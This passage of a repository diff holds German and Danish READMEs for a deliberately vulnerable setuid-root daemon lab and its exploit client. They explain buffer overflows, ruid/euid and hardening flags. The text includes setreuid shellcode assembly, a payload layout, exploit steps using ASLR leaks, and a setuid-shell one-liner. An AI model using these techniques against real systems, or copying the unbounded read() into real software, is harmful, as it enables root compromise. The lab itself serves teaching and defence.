| `LD_PRELOAD` einer bösartigen Bibliothek | „Das Setuid-Programm lädt meine `.so` und führt meinen Code als root aus." | Der Kernel markiert ein Setuid-Binärprogramm als **AT_SECURE**; glibc ignoriert daraufhin `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` und Verwandtes. Die Umgebung wird als *unvertrauenswürdige Eingabe* behandelt. `LD_PRELOAD` gegen ein Setuid-Binärprogramm ist eine No-Operation. |
|
||||
| `PATH`-Hijack (`system("ls")` mit vergiftetem PATH) | „Zeige PATH auf ein Verzeichnis mit meinem falschen `ls`; das Root-Programm führt es aus." | Ein zweites Gesicht derselben Verteidigung: Ein AT_SECURE-Prozess bekommt einen **bereinigten `PATH`** (einen sicheren Standard, in etwa `/usr/local/bin:/usr/bin:/bin`) für `system()`/`execvp`, sodass das vergiftete Verzeichnis nie konsultiert wird. |
|
||||
| Setuid-`system()`-Befehlsinjektion | „Der injizierte Befehl läuft mit euid 0." | `system()` führt den Befehl in einer frischen `/bin/sh` aus, und diese Shell — §5.2 — setzt `euid = ruid` beim Start zurück. Der injizierte Befehl läuft mit der *realen* uid. (Es ist immer noch ein Bug; er eskaliert nur nicht mehr über `/bin/sh`.) |
|
||||
| Setuid-Root-Shell auf der Platte (`cp /bin/sh /tmp; chmod u+s`) | „Führe sie aus, bekomme root." | Genau die Verteidigung oben, und das ist der Grund, warum moderne Distributionen keine Setuid-Root-Shell ausliefern. Selbst wenn dir eine gelingt, weigert sich bash, euid 0 zu behalten, sofern es nicht mit `-p` gestartet wird. |
|
||||
|
||||
Was lebendig bleibt, und das ist dieses Labor: **Das Programm ist beim Laufen
|
||||
*bereits* root.** Du brauchst weder die Umgebung noch `system()`; du brauchst,
|
||||
dass das Programm *deinen* Code (über einen Memory-Corruption-Bug) ausführt,
|
||||
solange es privilegiert ist, und dein Code muss vorsichtig genug sein, den
|
||||
uid-Mismatch selbst zu beheben — `setreuid(0,0)` — bevor er dir eine Shell
|
||||
übergibt. Memory Corruption + SUID ist die Kombination, die immer noch in
|
||||
`uid=0` endet, und genau deshalb sind speichersichere Sprachen, Canaries und
|
||||
No-Execute-Stacks keine Modeentscheidung.
|
||||
|
||||
---
|
||||
|
||||
## 7. Die in den Daemon eingebauten Sicherheitsleitplanken
|
||||
|
||||
`foosd` ist absichtlich das *schlechteste* Stück Software in diesem
|
||||
Repository, also trägt es auch die meisten Leitplanken:
|
||||
|
||||
1. **Nur Loopback, erzwungen.** `foosd` weigert sich, eine andere Adresse als
|
||||
Loopback zu binden, sofern du nicht `-L` übergibst. Ein Setuid-Root-Listener
|
||||
auf einer echten Schnittstelle ist ein entfernter Root-Dienst; die Weigerung
|
||||
ist der Standard, damit der gefährliche Zustand bewusst eingetippt werden
|
||||
muss.
|
||||
2. **Selbstdiagnose.** Beim Start loggt es `ruid`/`euid` und ob es als root
|
||||
läuft, sodass die Konsole den Zustand zeigt, von dem der Exploit abhängt.
|
||||
3. **Das Log erreicht den Client nie.** Der Daemon reserviert einen privaten
|
||||
Log-Deskriptor, bevor Sockets fd 1 ersetzen, sodass Crash-Reporter-Ausgabe
|
||||
und interne Pfade vom Angreifer nicht über die Leitung zurückgelesen werden
|
||||
können.
|
||||
4. **Crash-Reporter.** Ein SIGSEGV-Handler loggt `RIP`/`RSP` — den Wert, den
|
||||
der Angreifer in die Rücksprungadresse geschrieben hat — sodass eine
|
||||
erfolgreiche Übernahme in `foosd.log` sichtbar ist, statt ein stiller Tod zu
|
||||
sein.
|
||||
5. **`make unsetuid`.** Das Entfernen des Bits ist skriptiert, denn es gesetzt
|
||||
zu lassen ist der Ausfallmodus, den Leute tatsächlich haben.
|
||||
|
||||
---
|
||||
|
||||
## 8. Gegenmaßnahmen — was jede stoppt und was nicht
|
||||
|
||||
Angewendet auf `foosd` via `make hardened`, einzeln oder zusammen:
|
||||
|
||||
| Gegenmaßnahme | Was sie stoppt | Was sie *nicht* stoppt |
|
||||
|------------|---------------|-------------------------|
|
||||
| `-fstack-protector-strong` (Canary) | Den Overflow: `ret` erkennt einen zerstörten Canary und bricht ab, bevor die Adresse des Angreifers verwendet wird. Stoppt hier **alle vier** Techniken — sie teilen sich das eine angreifbare `read()`. | Nichts am *Design*: Das Binärprogramm ist immer noch setuid-root; ein anderer Bug (Format-String-`%n`, Heap-Overflow, Use-after-Free) hat keinen Canary zum Auslösen. |
|
||||
| `-fPIE -pie` (ASLR für das Binärprogramm) | Nutzung vorhersagbarer `win()`/`win_root()`-Adressen (die ret2win-Techniken). | Die Shellcode-Technik, wenn weiterhin eine Stack-Adresse leakt (die `BUF=`-Zeile). |
|
||||
| `-z noexecstack` (NX / W^X) | Den Shellcode: Die CPU weigert sich, Befehle von einer daten-only-Seite zu holen, sodass ein Sprung auf `buf` ein SIGSEGV ist. | ROP — das Ausführen vorhandenen Codes (`ret2libc`). |
|
||||
| Alle drei zusammen | Ein schwer zu überlaufendes, randomisiertes Binärprogramm mit nicht-ausführbarem Stack. So sieht ein normaler gehärteter Build aus. | Das Setuid-Bit. **Ein gehärtetes SUID-Binärprogramm ist immer noch ein SUID-Binärprogramm.** Wenn irgendein erreichbarer Speichersicherheitsbug überlebt, ist es immer noch „Bug in einem Root-Prozess". |
|
||||
|
||||
Der Konsolenbeweis ist `make test-hardened`, das den gehärteten Build
|
||||
eintauscht und zeigt, wie alle Techniken am Canary sterben, während
|
||||
`foosd_hardened.log` `*** stack smashing detected ***` aufzeichnet.
|
||||
|
||||
Zwei Designebenen-Gegenmaßnahmen, die keine Compiler-Flag liefert und die auch
|
||||
das übergeordnete Labor (`food`) nutzt:
|
||||
|
||||
- **Least Privilege.** Ein Daemon für einen unprivilegierten Port (2343 > 1024)
|
||||
hat keinen legitimen Bedarf an root. Ein korrektes `foosd` würde binden und
|
||||
dann `setgroups`/`setgid`/`setuid` auf ein unprivilegiertes Konto ausführen
|
||||
und *verifizieren, dass es hielt* (die korrekte Version steht im Quellcode
|
||||
als `drop_privs()`, nie aufgerufen — die Nicht-Aufrufung ist Bug #3 des
|
||||
Labors).
|
||||
- **Das read begrenzen.** `n = read(fd, buf, sizeof(buf) - 1)`. Eine korrekte
|
||||
Zeile schlägt jede Compiler-Flag in der Tabelle.
|
||||
|
||||
---
|
||||
|
||||
## 9. Das Wire-Protokoll (damit du den Daemon mit netcat lesen kannst)
|
||||
|
||||
```text
|
||||
FOOSD 1.0 - deliberately vulnerable SUID service
|
||||
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
|
||||
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
|
||||
BUF=0x7ffd...
|
||||
```
|
||||
|
||||
* `ids=euid/ruid` — durfte nicht als `euid=`/`ruid=` gedruckt werden, weil die
|
||||
Test-Harness eine Shell anhand des wörtlichen `uid=` beweist und das Banner
|
||||
es nicht enthalten darf (eine Sonde, die die Signatur mit der Antwort teilt,
|
||||
ist eine klassische Fehlpositiv-Falle; siehe den Kommentar in `foosd.c`).
|
||||
Die Harness verlangt außerdem die strenge `id`-Ausgabeform — `uid=NNN(...)` —
|
||||
sodass nichts, was der Daemon oder der Exploit druckt, die Prüfung zufällig
|
||||
erfüllen kann: `foosc`s eigenes „target euid=… ruid=…" enthält `uid=` als
|
||||
Teilstring, was einmal einen gehärteten Test eine nie gelaufene Shell melden
|
||||
ließ.
|
||||
* `stack=`, `libc=`, `BUF=` — die ASLR-Leaks: erlauben Shellcode und ret2libc,
|
||||
exakte Adressen zu berechnen.
|
||||
|
||||
---
|
||||
|
||||
## 10. Übungen
|
||||
|
||||
1. **Beobachte die Nicht-Root-Abstufung.** Führe `make test` *vor* `make
|
||||
setuid` aus, dann danach erneut. Erkläre die `ROOT=SEEN`-Änderung mit der
|
||||
ruid/euid-Geschichte aus §5.2.
|
||||
2. **Lies den Absturz.** Führe `./foosc -t demo -n` aus und lies dann
|
||||
`foosd.log`. Die Zeile `RIP=0x4141414141414141` ist das Padding des
|
||||
Angreifers — der Beweis, dass der Overflow, nicht Pech, die Ausführung
|
||||
kontrolliert.
|
||||
3. **Füge den Canary hinzu.** `make hardened` und ändere die
|
||||
`test-hardened`-Schleife selbst; die Log-Zeile
|
||||
`*** stack smashing detected ***` ist die arbeitende Verteidigung.
|
||||
4. **Deaktiviere das Leak.** Kommentiere die `BUF=`-Zeile in `foosd.c` aus,
|
||||
baue neu und beobachte, wie `-t shellcode` von deterministisch zu einem
|
||||
Ratespiel wird. Diese eine Zeile ist der Grund, warum echte
|
||||
ASLR-Bypasses ein ganzes Feld sind.
|
||||
5. **Das `-p`-Experiment.** Ändere in einer Kopie von `win()` `execl("/bin/sh",
|
||||
"sh", NULL)` zu `execl("/bin/sh", "sh", "-p", NULL)` und beobachte root.
|
||||
`-p` ist die dokumentierte Notluke aus dem Wächter der Shell — und der
|
||||
Grund, warum der Rat „spawne einfach eine Shell" aus alten Write-ups
|
||||
unvollständig ist.
|
||||
6. **Warum nicht `setuid(0)`?** Schreibe den Shellcode so um, dass er
|
||||
`setuid(0)` statt `setreuid(0,0)` aufruft (Syscall 105). Die Shell landet
|
||||
trotzdem — und fällt trotzdem auf `uid=1000`. Das ist das lehrreichste
|
||||
Ein-Zeilen-Experiment im gesamten Repository.
|
||||
|
||||
---
|
||||
|
||||
## 11. Sicherheit und Aufräumen
|
||||
|
||||
- Nur Loopback, standardmäßig und per Design; `-L` bindet weiter, und nur eine
|
||||
Wegwerf-VM sollte es überhaupt in Betracht ziehen.
|
||||
- Dies ist ein Root-Shell-Labor. Führe es nicht auf einer Maschine aus, die
|
||||
wichtig ist, und richte `foosc -h` nicht auf etwas, das dir nicht gehört.
|
||||
- Aufräumritual: `make stop` und dann `make unsetuid`, und wenn du den Baum
|
||||
wieder makellos willst: `sudo make clean`.
|
||||
|
||||
```console
|
||||
$ make stop
|
||||
$ make unsetuid
|
||||
```
|
||||
389
suid/README.DK.md
Normal file
389
suid/README.DK.md
Normal file
|
|
@ -0,0 +1,389 @@
|
|||
# SUID-root-RCE-laboratorium — `foosd` (daemon) + `foosc` (exploit)
|
||||
|
||||
En ledsager til det overordnede laboratorium (`food` / `fooc`, en almindelig
|
||||
daemon, hvor et bufferoverløb giver dig en *bruger*-shell). Dette tilføjer den
|
||||
farligste en-tegns-ændring i Unix: **setuid-bitten**.
|
||||
|
||||
> `chmod u+s` forvandler "angriberen kan køre kode på denne host" til
|
||||
> "angriberen kan køre kode som **root** på denne host".
|
||||
|
||||
Den sætning er hele laboratoriet. Alt herunder er mekanismen under den, skrevet
|
||||
ned, så du, når du skriver din egen software, præcist ved, hvilke to eller tre
|
||||
filsystem-attributter og compiler-flag der afgør, om en
|
||||
hukommelsessikkerhedsfejl i din kode er en gene eller en root-shell.
|
||||
|
||||
Den endelige demo, når `foosd` er setuid-root, er en **root-shell**, der åbnes
|
||||
over netværket ved at udføre 32 bytes håndskrevet shellcode.
|
||||
|
||||
---
|
||||
|
||||
## 1. Hvad setuid-bitten rent faktisk gør
|
||||
|
||||
Hver proces på Linux bærer tre user-ID'er, og setuid-bitten piller ved
|
||||
forholdet mellem dem:
|
||||
|
||||
| ID | Navn | Betydning |
|
||||
|----|------|---------|
|
||||
| `ruid` | reelle user-ID | kontoen, der *startede* processen |
|
||||
| `euid` | effektive user-ID | det, kernen tjekker, når den håndhæver adgang |
|
||||
| (saved) | gemte set-user-ID | en "slot", en privilegeret proces må vende tilbage til senere |
|
||||
|
||||
Et normalt program har `ruid == euid`. Når du udfører en binærfil med
|
||||
setuid-bitten sat, ejet af root:
|
||||
|
||||
```text
|
||||
ruid = dig (fx. 1000, "hanez")
|
||||
euid = ejeren (fx. 0, "root")
|
||||
```
|
||||
|
||||
Processen har derfor **roots autoritet**, selvom brugeren, der startede den, er
|
||||
helt almindelig. Hvert tjek, kernen udfører — kan denne proces læse
|
||||
`/etc/shadow`? skrive en fil? dræbe en anden proces? — besvares med `euid`,
|
||||
dvs. "ja, den er root".
|
||||
|
||||
`foosd` er en netværksdaemon. Den binder en port og `fork()`er derefter et barn
|
||||
per forbindelse. En fork *arver* euid'en, så hvert barn, der håndterer en
|
||||
forbindelse, også er root. Overløbet i `foosd`s `vulnerable_handler()` er
|
||||
derfor et overløb *inde i en root-proces*.
|
||||
|
||||
**Diagnosticér det selv, når daemonen kører:**
|
||||
|
||||
```console
|
||||
$ ./foosd ... # se den loglinje, den printer ved start
|
||||
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
|
||||
```
|
||||
|
||||
og fra exploitet:
|
||||
|
||||
```console
|
||||
$ ./foosc -t leak
|
||||
foosc: target euid=0 ruid=1000
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 2. Laboratoriet ved et øjekast
|
||||
|
||||
| Fil | Rolle |
|
||||
|------|------|
|
||||
| `foosd.c` | Den bevidst sårbare daemon (ejer fejlene). Kør som *setuid-root*-binærfil til root-shell-demoen. |
|
||||
| `foosc.c` | Exploitet. Bruger som standard den 32-byte `setreuid + execve`-shellcode-teknik. |
|
||||
| `shellcode.S` | Reference-shellcoden; `make verify` diff'er den mod byte-arrayet i `foosc.c`. |
|
||||
| `tests/pty_suid_test.c` | Test-harness. Driver `foosc` gennem et pseudo-terminal og beviser både "en shell kørte" *og* "den var root" (`uid=0(`). |
|
||||
| `Makefile` | Build, `setuid`/`unsetuid`-hjælpere, testmatrix. |
|
||||
| `README.md` | Denne fil. |
|
||||
|
||||
> **Hvorfor en pty?** Exploitets sidste handling er at videresende din terminal
|
||||
> til shellen, der udfører på offeret. En pipe eller her-doc lander i den
|
||||
> forkerte ende af den videresendelse; en ægte terminal er påkrævet.
|
||||
|
||||
---
|
||||
|
||||
## 3. Hurtig start
|
||||
|
||||
```console
|
||||
$ make # byg alt, som din normale bruger
|
||||
$ make setuid # én gang, spørger om sudo: chown root + chmod u+s
|
||||
$ make run # start foosd på 127.0.0.1:2343
|
||||
$ make test-suid # fuld matrix; shellcode + ret2win-root skal give root
|
||||
```
|
||||
|
||||
Interaktiv rygeprøve:
|
||||
|
||||
```console
|
||||
$ ./foosc -t shellcode
|
||||
...
|
||||
foosc: target euid=0 ruid=1000
|
||||
foosc: shell is on the victim (root if foosd is SUID); relaying
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root) <-- du er root, på offeret
|
||||
# exit
|
||||
```
|
||||
|
||||
Når du er færdig:
|
||||
|
||||
```console
|
||||
$ make stop
|
||||
$ make unsetuid # hygiejne: efterlad aldrig en root-SUID-binærfil
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. *Hvornår skal jeg sætte SUID-bitten?* — svaret, du bad om
|
||||
|
||||
Præcis **én gang, efter bygningen, før du starter daemonen til
|
||||
root-shell-demoerne** — og kun på en maskine, der er din, velegnet til at smide
|
||||
væk og frakoblet netværket:
|
||||
|
||||
```console
|
||||
$ make # kompilér foosd, foosc, tests
|
||||
$ make setuid # <-- ØJEBLIKKET. sudo chown root:root foosd && sudo chmod u+s foosd
|
||||
$ make run # start EFTER at have sat bitten
|
||||
```
|
||||
|
||||
To regler, der betyder mere end det præcise tidspunkt:
|
||||
|
||||
1. **Sæt den kun, når binærfilen er færdig.** Hvis du genbygger (`make` /
|
||||
`make clean`), efter du har sat bitten, rammer du et "Permission denied",
|
||||
når du skriver root-ejede outputfiler — og hvis du tvinger genbygningen,
|
||||
genskaber værktøjskæden filen **uden** `s`-en og fortryder stille og roligt
|
||||
opsætningen. Den kanoniske rækkefølge ved enhver genbygning er derfor
|
||||
|
||||
```console
|
||||
$ make unsetuid && make && make setuid
|
||||
```
|
||||
|
||||
2. **Fjern den, når du er færdig.** `make unsetuid`. En levende,
|
||||
root-ejet setuid-binærfil med en udnyttelig fejl i dit træ er ikke et
|
||||
læremiddel, det er et root-hul med en kompileringsfejl mellem sig og
|
||||
ingenting. På en delt eller produktionsmaskine: **lav ikke noget af
|
||||
dette.** Daemonen nægter desuden som standard at binde andet end loopback
|
||||
(se §7).
|
||||
|
||||
Hvis du kører exploitet *uden* nogensinde at sætte bitten, går intet i stykker
|
||||
— payloaden lander stadig, og du får stadig en shell. Forskellen er i ét tal,
|
||||
og exploitet siger det højt:
|
||||
|
||||
```console
|
||||
foosc: WARNING: the daemon is NOT running with euid 0.
|
||||
The payload will still land, but the shell will be
|
||||
a plain user shell, not root.
|
||||
Fix: sudo make setuid
|
||||
```
|
||||
|
||||
Det "virker, men ikke root"-resultat er selv en del af laboratoriet. Husk det
|
||||
til næste afsnit.
|
||||
|
||||
---
|
||||
|
||||
## 5. Mekanismen — og drejningen, der gør SUID interessant
|
||||
|
||||
### 5.1 Overløbet (identisk med `food`)
|
||||
|
||||
`foosd`s handler giver et `read()` 512 bytes tillid, mens den rækker den et
|
||||
64-byte stack-buffer:
|
||||
|
||||
```c
|
||||
char buf[64];
|
||||
n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over kanten */
|
||||
```
|
||||
|
||||
På x86-64 vokser stacken nedad. Exploitet skriver 64 bytes junk for at fylde
|
||||
`buf`, 8 for at fylde den gemte framepointer og 8 mere for at erstatte den
|
||||
**gemte returadresse**. Når `vulnerable_handler` udfører `ret`, popper CPU'en
|
||||
angriberens værdi ind i `RIP` — angriberkontrolleret kodeudførelse. Exploitet
|
||||
finder den præcise afstand (88 bytes for denne build) ved at parse
|
||||
`objdump`-output i stedet for at hardkode det, så tallet overlever genbygninger.
|
||||
|
||||
### 5.2 Drejningen: shellen nægter at være root
|
||||
|
||||
Her er det, hvor at tænke "SUID-fejl → spawn /bin/sh → root" ville gå galt, og
|
||||
hvorfor dette laboratorium har præcis den form, det har.
|
||||
|
||||
Når et setuid-root-program kører, er dets `ruid` stadig den startende bruger,
|
||||
og dets `euid` er root. Hvis programmet — eller angriberen — nu starter en
|
||||
shell:
|
||||
|
||||
* `execve("/bin/sh")` ændrer **ikke** uiderne; den nye proces arver
|
||||
`(ruid=1000, euid=0)`.
|
||||
* bash (og dash) **tjekker præcis den tilstand ved start**. Fra bash-manualen:
|
||||
*"If the shell is started with the effective user (group) id not equal to
|
||||
the real user (group) id, and the -p option is not supplied, … the effective
|
||||
user id is set to the real user id."*
|
||||
|
||||
Så shellen kigger på sig selv og *dropper root* — et forsvar, som
|
||||
shell-forfatterne byggede præcis mod dette angreb (den historiske begrundelse
|
||||
var setuid-shell-/setuid-script-problemet). Resultatet er "virker, men ikke
|
||||
root"-tilfældene:
|
||||
|
||||
| Teknik | Hvad den udfører | Resulterende uid |
|
||||
|-----------|------------------|---------------|
|
||||
| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — shell landede, root nulstillet af bash |
|
||||
| `ret2libc` | `system("/bin/sh")` → frisk `sh -c '/bin/sh'` | **1000** — samme nulstilling, et niveau nede |
|
||||
| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid ryddet fra C |
|
||||
| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid ryddet fra maskinkode |
|
||||
|
||||
De to, der når root, adskiller sig fra de to, der ikke gør, med præcis én idé:
|
||||
**de rydder den *reelle* uid, ikke kun den effektive.**
|
||||
|
||||
```c
|
||||
setuid(0) /* sætter euid til 0, men ruid forbliver 1000:
|
||||
bash ser stadig euid != ruid og nulstiller STADIG. */
|
||||
setreuid(0, 0) /* sætter BEGGE: ruid = euid = 0.
|
||||
bash ser lige uider og beholder root. */
|
||||
```
|
||||
|
||||
Det er derfor, den klassiske `/bin/sh`-shellcode, du finder overalt på
|
||||
internettet, starter med et uid-ryddende syscall — og det er grunden til, at
|
||||
shellcoden her er 32 bytes i stedet for 23: de første fem instruktioner er
|
||||
|
||||
```asm
|
||||
xor edi, edi ; ruid = 0
|
||||
xor esi, esi ; euid = 0
|
||||
push 0x71 ; 113 = __NR_setreuid
|
||||
pop rax
|
||||
syscall
|
||||
```
|
||||
|
||||
### 5.3 Så hvad er exploitet, ende til ende?
|
||||
|
||||
1. `foosc` læser `foosd`s banner over socket'en. Det får:
|
||||
- `ids=0/1000` — euid/ruid (SUID-selvdiagnosen)
|
||||
- `stack=…` og `libc=…` — pointers (ASLR-leaksene)
|
||||
- `BUF=…` — den nøjagtige adresse på det buffer, den er ved at løbe over
|
||||
2. Fra target-binærfilen (via `objdump`) lærer det `rip_off` og adresserne på
|
||||
`win()` / `win_root()`.
|
||||
3. Fra *sin egen* libc (via `/proc/self/maps` + `dlsym` + et hukommelsesscan)
|
||||
måler det offsets for `system`, `read`, `/bin/sh` og et
|
||||
`pop rdi; ret`-gadget — intet er hardkodet.
|
||||
4. Det samler payloaden. For `-t shellcode` er det:
|
||||
`[32-byte-setreuid+execve-kode][padding til RIP][ret-fix][adresse på buf]`.
|
||||
5. `foosd`s `read()` løber over; `ret` lander på shellcoden; kernen udfører
|
||||
`setreuid(0,0)` (fint: euid 0 er privilegeret) og derefter `execve` af
|
||||
`/bin/sh`. bash starter med `ruid == euid == 0` og forbliver root.
|
||||
6. `foosc` videresender din terminal til den root-shell, indtil du skriver
|
||||
`exit`.
|
||||
|
||||
Én bekvemmelighedsdetalje, der koster folk meget tid, hvis den overses:
|
||||
exploitet tester hver uid-ryddende adfærd **uden** først at have brug for
|
||||
setuid-bitten. Kør `make test` før `make setuid`, og du vil se hver teknik
|
||||
lande en shell, mens `ROOT=MISSING` står; kør `make test-suid` efter `make
|
||||
setuid`, og `ROOT=SEEN` dukker op ved de to teknikker, der rydder den reelle
|
||||
uid. Det A/B er hele lektionen, udførligt på ti sekunder.
|
||||
|
||||
---
|
||||
|
||||
## 6. De gamle one-liners — og hvorfor de fleste af dem er døde
|
||||
|
||||
Har du læst om SUID, har du læst om `PATH`-kapring, `LD_PRELOAD` og
|
||||
setuid-shells. Alle tre er klassiske, og alle tre fejler på et moderne system
|
||||
mod *dette program*. Det er værd at vide præcis hvorfor, fordi grundene er de
|
||||
forsvar, du får gratis:
|
||||
|
||||
| Angrebsklasse | Gamle påstand | Hvorfor den fejler på en moderne maskine |
|
||||
|--------------|-----------|------------------------------|
|
||||
| `LD_PRELOAD` af et ondsindet bibliotek | "Setuid-programmet loader min `.so` og kører min kode som root." | Kernen markerer en setuid-binærfil som **AT_SECURE**; glibc ignorerer derefter `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` og venner. Miljøet behandles som *utroverdig input*. `LD_PRELOAD` mod en setuid-binærfil er en no-op. |
|
||||
| `PATH`-kapring (`system("ls")` med en forgiftet PATH) | "Peg PATH mod et bibliotek med min falske `ls`; root-programmet kører den." | Et andet ansigt af samme forsvar: en AT_SECURE-proces får en **saneret `PATH`** (en sikker standard, nogenlunde `/usr/local/bin:/usr/bin:/bin`) til `system()`/`execvp`, så det forgiftede bibliotek aldrig konsulteres. |
|
||||
| Setuid-`system()`-kommandoinjektion | "Den injicerede kommando kører med euid 0." | `system()` kører kommandoen i en frisk `/bin/sh`, og den shell — §5.2 — nulstiller `euid = ruid` ved start. Den injicerede kommando udføres med den *reelle* uid. (Det er stadig en fejl; den eskalerer bare ikke længere gennem `/bin/sh`.) |
|
||||
| Setuid-root-shell på disken (`cp /bin/sh /tmp; chmod u+s`) | "Kør den, få root." | Præcis forsvaret ovenfor, og det er grunden til, at moderne distroer ikke leverer nogen setuid-root-shell. Selv når det lykkes at lave én, nægter bash at beholde euid 0, medmindre den startes med `-p`. |
|
||||
|
||||
Hvad der forbliver i live, og det er dette laboratorium: **programmet er
|
||||
*allerede* root, når det kører.** Du behøver ikke miljøet eller `system()`; du
|
||||
har brug for, at programmet udfører *din* kode (via en
|
||||
hukommelseskorruptionsfejl), mens det er privilegeret, og din kode skal være
|
||||
omhyggelig nok til selv at rette uid-mismatchet — `setreuid(0,0)` — før den
|
||||
overrækker dig en shell. Hukommelseskorruption + SUID er kombinationen, der
|
||||
stadig ender i `uid=0`, hvilket er præcis hvorfor hukommelsessikre sprog,
|
||||
canaries og no-execute-stacks ikke er en modebeslutning.
|
||||
|
||||
---
|
||||
|
||||
## 7. De sikkerhedsgelændere, der er bygget ind i daemonen
|
||||
|
||||
`foosd` er bevidst det *dårligste* stykke software i dette repository, så det
|
||||
bærer også flest gelændere:
|
||||
|
||||
1. **Kun loopback, håndhævet.** `foosd` nægter enhver bind-adresse ud over
|
||||
loopback, medmindre du giver `-L`. En setuid-root-listener på en rigtig
|
||||
grænseflade er en fjern root-tjeneste; afslaget er standarden, så den
|
||||
farlige tilstand skal skrives bevidst ind.
|
||||
2. **Selvdiagnose.** Ved start logger den `ruid`/`euid` og om den kører som
|
||||
root, så konsollen viser den tilstand, exploitet afhænger af.
|
||||
3. **Loggen når aldrig klienten.** Daemonen reserverer en privat
|
||||
log-descriptor, før sockets erstatter fd 1, så crash-reporter-output og
|
||||
interne stier ikke kan læses tilbage over ledningen af angriberen.
|
||||
4. **Crash-reporter.** En SIGSEGV-handler logger `RIP`/`RSP` — den værdi,
|
||||
angriberen skrev ind i returadressen — så en vellykket kapring er synlig i
|
||||
`foosd.log` i stedet for at være en stille død.
|
||||
5. **`make unsetuid`.** Fjernelse af bitten er scriptet, fordi at efterlade den
|
||||
sat er den fiaskotilstand, folk rent faktisk har.
|
||||
|
||||
---
|
||||
|
||||
## 8. Modforanstaltninger — hvad hver stopper, og hvad den *ikke* stopper
|
||||
|
||||
Anvendt på `foosd` via `make hardened`, én ad gangen eller sammen:
|
||||
|
||||
| Modforanstaltning | Hvad den stopper | Hvad den *ikke* stopper |
|
||||
|------------|---------------|-------------------------|
|
||||
| `-fstack-protector-strong` (canary) | Overløbet: `ret` opdager en smadret canary og abort'er, før angriberens adresse bruges. Stopper her **alle fire** teknikker — de deler det ene sårbare `read()`. | Intet ved *designet*: binærfilen er stadig setuid-root; en anden fejl (format-string-`%n`, heap-overflow, use-after-free) har ingen canary at udløse. |
|
||||
| `-fPIE -pie` (ASLR for binærfilen) | Brug af forudsigelige `win()`/`win_root()`-adresser (ret2win-teknikkerne). | Shellcode-teknikken, hvis en stack-adresse stadig lækker (`BUF=`-linjen). |
|
||||
| `-z noexecstack` (NX / W^X) | Shellcoden: CPU'en nægter at hente instruktioner fra en data-only-side, så et hop til `buf` er et SIGSEGV. | ROP — at køre kode, der allerede findes (`ret2libc`). |
|
||||
| Alle tre sammen | En svær-at-overløbe, randomiseret binærfil med ikke-eksekverbar stack. Sådan ser en normal hærdet build ud. | Setuid-bitten. **En hærdet SUID-binærfil er stadig en SUID-binærfil.** Hvis nogen nåbar hukommelsessikkerhedsfejl overlever, er det stadig "fejl i en root-proces". |
|
||||
|
||||
Konsolbeviset er `make test-hardened`, som bytter den hærdede build ind og viser
|
||||
alle teknikker dø ved canaryen, mens `foosd_hardened.log` optager
|
||||
`*** stack smashing detected ***`.
|
||||
|
||||
To designniveau-modforanstaltninger, som intet compiler-flag leverer, og som det
|
||||
overordnede laboratorium (`food`) også bruger:
|
||||
|
||||
- **Least privilege.** En daemon til en uprivilegeret port (2343 > 1024) har
|
||||
intet legitimt behov for root. En korrekt `foosd` ville binde og derefter
|
||||
`setgroups`/`setgid`/`setuid` til en uprivilegeret konto og *bekræfte, at det
|
||||
holdt* (den korrekte version står i kilden som `drop_privs()`, aldrig kaldt —
|
||||
ikke-kaldelsen er laboratoriets fejl nr. 3).
|
||||
- **Begræns read'et.** `n = read(fd, buf, sizeof(buf) - 1)`. Én korrekt linje
|
||||
overgår hvert compiler-flag i tabellen.
|
||||
|
||||
---
|
||||
|
||||
## 9. Wire-protokollen (så du kan læse daemonen med netcat)
|
||||
|
||||
```text
|
||||
FOOSD 1.0 - deliberately vulnerable SUID service
|
||||
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
|
||||
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
|
||||
BUF=0x7ffd...
|
||||
```
|
||||
|
||||
* `ids=euid/ruid` — kunne ikke printes som `euid=`/`ruid=`, fordi test-harnessen
|
||||
beviser en shell ved at greppe efter det bogstavelige `uid=`, og banneret må
|
||||
ikke indeholde det (en sonde, der deler signatur med svaret, er en klassisk
|
||||
falsk-positiv-fælde; se kommentaren i `foosd.c`). Harnessen kræver desuden
|
||||
den strenge `id`-outputform — `uid=NNN(...)` — så intet, daemonen eller
|
||||
exploitet printer, kan opfylde tjekket ved et tilfælde: `foosc`s eget
|
||||
"target euid=… ruid=…" indeholder `uid=` som delstreng, hvilket engang fik en
|
||||
hærdet test til at melde en shell, der aldrig havde kørt.
|
||||
* `stack=`, `libc=`, `BUF=` — ASLR-leaksene: lader shellcode og ret2libc
|
||||
beregne eksakte adresser.
|
||||
|
||||
---
|
||||
|
||||
## 10. Øvelser
|
||||
|
||||
1. **Betragt ikke-root-nedgraderingen.** Kør `make test` *før* `make setuid`,
|
||||
og derefter igen bagefter. Forklar `ROOT=SEEN`-ændringen med
|
||||
ruid/euid-historien i §5.2.
|
||||
2. **Læs nedbruddet.** Kør `./foosc -t demo -n` og læs derefter `foosd.log`.
|
||||
Linjen `RIP=0x4141414141414141` er angriberens padding — beviset på, at
|
||||
overløbet, ikke uheld, kontrollerer udførelsen.
|
||||
3. **Tilføj canaryen.** `make hardened` og ændr selv `test-hardened`-løkken;
|
||||
loglinjen `*** stack smashing detected ***` er forsvaret, der virker.
|
||||
4. **Deaktiver leaket.** Kommentér `BUF=`-linjen i `foosd.c` ud, genbyg, og se
|
||||
`-t shellcode` gå fra deterministisk til et gættespil. Den ene linje er
|
||||
grunden til, at ægte ASLR-bypasses er et helt felt.
|
||||
5. **`-p`-eksperimentet.** Ændr i en kopi af `win()` `execl("/bin/sh", "sh",
|
||||
NULL)` til `execl("/bin/sh", "sh", "-p", NULL)` og observer root. `-p` er
|
||||
den dokumenterede nødudgang fra shellens vagt — og grunden til, at rådet
|
||||
